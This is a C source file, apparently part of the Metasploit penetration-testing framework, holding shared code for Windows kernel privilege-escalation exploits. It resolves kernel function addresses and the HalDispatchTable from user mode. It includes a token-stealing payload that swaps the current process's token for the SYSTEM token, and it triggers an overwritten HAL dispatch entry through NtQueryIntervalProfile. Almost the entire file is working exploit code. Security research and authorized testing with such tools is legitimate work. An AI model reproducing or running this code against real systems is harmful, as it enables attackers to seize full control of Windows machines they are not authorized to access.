metasploit-framework/external/source/win_kernel_common/kernel.c

274 lines
6.9 KiB
C
Raw Normal View History

#include <stdio.h>
#include "windefs.h"
#include "kernel.h"
#include <Psapi.h>
#define SYSTEM_PID 4
#define DRIVER_COUNT 1024
typedef NTSTATUS(NTAPI*PLOOKUPPROCESSBYID)(HANDLE processId, PVOID process);
typedef PACCESS_TOKEN(NTAPI*PREFPRIMARYTOKEN)(PVOID process);
typedef NTSTATUS(WINAPI*PNTQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS sysInfoClass, PVOID sysInfo, ULONG sysInfoLength, PULONG returnLength);
typedef NTSTATUS(WINAPI*PNTQUERYINTERVALPROFILE)(DWORD profileSource, PULONG interval);
static ULONG_PTR g_pHalDispatch = 0L;
static PLOOKUPPROCESSBYID g_pLookupProcessById = NULL;
static PREFPRIMARYTOKEN g_pRefPrimaryToken = NULL;
static DWORD g_currentPid = 0;
static DWORD g_replaced = FALSE;
static NTSTATUS WINAPI NtQueryIntervalProfile(DWORD profileSource, PULONG interval)
{
static PNTQUERYINTERVALPROFILE pNtQueryIntervalProfile = NULL;
if (pNtQueryIntervalProfile == NULL)
{
pNtQueryIntervalProfile = (PNTQUERYINTERVALPROFILE)GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtQueryIntervalProfile");
}
return pNtQueryIntervalProfile(profileSource, interval);
}
static NTSTATUS WINAPI NtQuerySystemInformation(SYSTEM_INFORMATION_CLASS sysInfoClass, PVOID sysInfo, ULONG sysInfoLength, PULONG returnLength)
{
static PNTQUERYSYSTEMINFORMATION pNtQuerySystemInformation = NULL;
if (pNtQuerySystemInformation == NULL)
{
pNtQuerySystemInformation = (PNTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtQuerySystemInformation");
}
return pNtQuerySystemInformation(sysInfoClass, sysInfo, sysInfoLength, returnLength);
}
static PVOID get_system_info(SYSTEM_INFORMATION_CLASS infoClass)
{
ULONG size = 0x100;
const ULONG maxSize = size << 10;
PVOID buffer = NULL;
NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;
ULONG memIO = 0;
while (status == STATUS_INFO_LENGTH_MISMATCH && maxSize > size)
{
buffer = buffer == NULL ? HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size) : HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, buffer, size);
status = NtQuerySystemInformation(infoClass, buffer, size, &memIO);
size = size << 1;
}
if (NT_SUCCESS(status))
{
return buffer;
}
if (buffer != NULL)
{
HeapFree(GetProcessHeap(), 0, buffer);
}
return NULL;
}
static VOID find_and_replace_member(PDWORD_PTR pStruct, DWORD_PTR currentValue, DWORD_PTR newValue, DWORD_PTR maxSize)
{
DWORD_PTR mask = ~(sizeof(DWORD_PTR) == sizeof(DWORD) ? 7 : 0xf);
g_replaced = FALSE;
for (DWORD_PTR i = 0; i < maxSize; ++i)
{
if (((pStruct[i] ^ currentValue) & mask) == 0)
{
pStruct[i] = newValue;
g_replaced = TRUE;
return;
}
}
}
BOOL is_driver_loaded(wchar_t* driverName)
{
// start by finding out how big the buffer size needs to be:
LPVOID derp = 0;
DWORD sizeNeeded = 0;
BOOL result = FALSE;
// determine the size required first
EnumDeviceDrivers(&derp, sizeof(derp), &sizeNeeded);
LPVOID* driverList = (LPVOID*)malloc(sizeNeeded);
if (EnumDeviceDrivers(driverList, sizeNeeded, &sizeNeeded))
{
wchar_t driver[MAX_PATH];
DWORD driverCount = sizeNeeded / sizeof(LPVOID);
for (DWORD i = 0; i < driverCount; ++i)
{
if (GetDeviceDriverBaseNameW(driverList[i], driver, MAX_PATH)
&& _wcsicmp(driver, driverName) == 0)
{
result = TRUE;
break;
}
}
}
free(driverList);
return result;
}
// Simple wrapper over the steal_process_token that takes the four arguments used by the function we
// overwrite in the HAL dispatch
VOID hal_dispatch_steal_process_token(DWORD_PTR arg1, DWORD_PTR arg2, DWORD_PTR arg3, DWORD_PTR arg4)
{
steal_process_token();
}
VOID steal_process_token()
{
LPVOID currentProcessInfo = NULL;
LPVOID systemProcessInfo = NULL;
g_pLookupProcessById((HANDLE)g_currentPid, &currentProcessInfo);
g_pLookupProcessById((HANDLE)SYSTEM_PID, &systemProcessInfo);
PACCESS_TOKEN targetToken = g_pRefPrimaryToken(currentProcessInfo);
PACCESS_TOKEN systemToken = g_pRefPrimaryToken(systemProcessInfo);
find_and_replace_member((PDWORD_PTR)currentProcessInfo, (DWORD_PTR)targetToken, (DWORD_PTR)systemToken, 0x200);
}
BOOL prepare_for_kernel()
{
BOOL result = FALSE;
PRTL_PROCESS_MODULES procModules = NULL;
CHAR fullKernelPath[MAX_PATH * 2 + 1] = { 0 };
PVOID mappedKernel = NULL;
do
{
procModules = get_system_info(SystemModuleInformation);
if (procModules == NULL || procModules->NumberOfModules == 0)
{
break;
}
UINT length = GetSystemDirectoryA(fullKernelPath, MAX_PATH);
fullKernelPath[length] = '\\';
const char* firstModule = (const char*)&procModules->Modules[0].FullPathName[procModules->Modules[0].OffsetToFileName];
strcat_s(fullKernelPath, MAX_PATH, firstModule);
ULONG_PTR kernelBase = (ULONG_PTR)procModules->Modules[0].ImageBase;
mappedKernel = LoadLibraryExA(fullKernelPath, NULL, DONT_RESOLVE_DLL_REFERENCES);
if (mappedKernel == NULL)
{
break;
}
ULONG_PTR funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "PsLookupProcessByProcessId");
if (funcAddr == 0L)
{
break;
}
g_pLookupProcessById = (PLOOKUPPROCESSBYID)(kernelBase + funcAddr - (ULONG_PTR)mappedKernel);
funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "PsReferencePrimaryToken");
if (funcAddr == 0L)
{
break;
}
g_pRefPrimaryToken = (PREFPRIMARYTOKEN)(kernelBase + funcAddr - (ULONG_PTR)mappedKernel);
funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "HalDispatchTable");
if (funcAddr != 0L)
{
g_pHalDispatch = kernelBase + funcAddr - (ULONG_PTR)mappedKernel;
}
g_currentPid = GetCurrentProcessId();
result = TRUE;
} while (0);
if (mappedKernel != NULL)
{
FreeLibrary(mappedKernel);
}
if (procModules != NULL)
{
HeapFree(GetProcessHeap(), 0, procModules);
}
return result;
}
BOOL was_token_replaced()
{
return g_replaced;
}
ULONG_PTR get_hal_dispatch_pointer()
{
return g_pHalDispatch + sizeof(ULONG_PTR);
}
VOID invoke_hal_dispatch_pointer()
{
ULONG ignored;
NtQueryIntervalProfile(1234, &ignored);
}
DWORD get_page_size()
{
static DWORD pageSize = 0;
if (pageSize == 0)
{
SYSTEM_INFO si;
GetSystemInfo(&si);
pageSize = si.dwPageSize;
}
return pageSize;
}
BOOL create_anon_mapping(MemMapping* memMap)
{
memMap->mapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, get_page_size(), NULL);
if (memMap->mapping == NULL)
{
return FALSE;
}
memMap->buffer = (LPBYTE)MapViewOfFile(memMap->mapping, FILE_MAP_ALL_ACCESS, 0, 0, get_page_size());
if (memMap->buffer == NULL)
{
destroy_anon_mapping(memMap);
return FALSE;
}
return TRUE;
}
VOID destroy_anon_mapping(MemMapping* memMap)
{
if (memMap != NULL)
{
if (memMap->buffer)
{
UnmapViewOfFile(memMap->buffer);
memMap->buffer = NULL;
}
if (memMap->mapping != NULL)
{
CloseHandle(memMap->mapping);
memMap->mapping = NULL;
}
}
}